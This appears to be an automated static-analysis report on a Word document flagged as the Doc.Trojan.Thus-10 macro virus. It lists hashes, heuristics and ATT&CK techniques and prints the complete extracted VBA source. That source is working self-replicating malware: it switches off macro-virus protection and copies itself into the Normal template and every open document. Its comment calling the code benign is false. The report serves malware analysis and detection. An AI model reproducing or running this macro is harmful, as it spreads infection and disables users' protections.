Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c21f1b12d91c0f3…

MALICIOUS

Office (OLE)

1.29 MB Created: 2010-08-04 14:02:00 Authoring application: Microsoft Word 11.5.0 First seen: 2014-10-17
MD5: 358ca6c66f62d4429803fbe5bfe28197 SHA-1: a52fd6aa1173b9936442f2162a66955dc2acadd5 SHA-256: 8c21f1b12d91c0f39cd6caddc3ae7ed4287eac58d85c0a443f51c0d8e679d25b
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are designed to disable macro security and replicate themselves across the Normal template and other open documents. This self-replication behavior, along with the ClamAV detection name 'Doc.Trojan.Thus-10', strongly suggests a malicious macro-based document. The script explicitly attempts to disable virus protection and copy its code, indicating a persistence and spread mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2301 bytes
SHA-256: a25a5f2d2e5aabc3dd323fae7064a4a73534f5793d02db5062e9f71bae8365c1
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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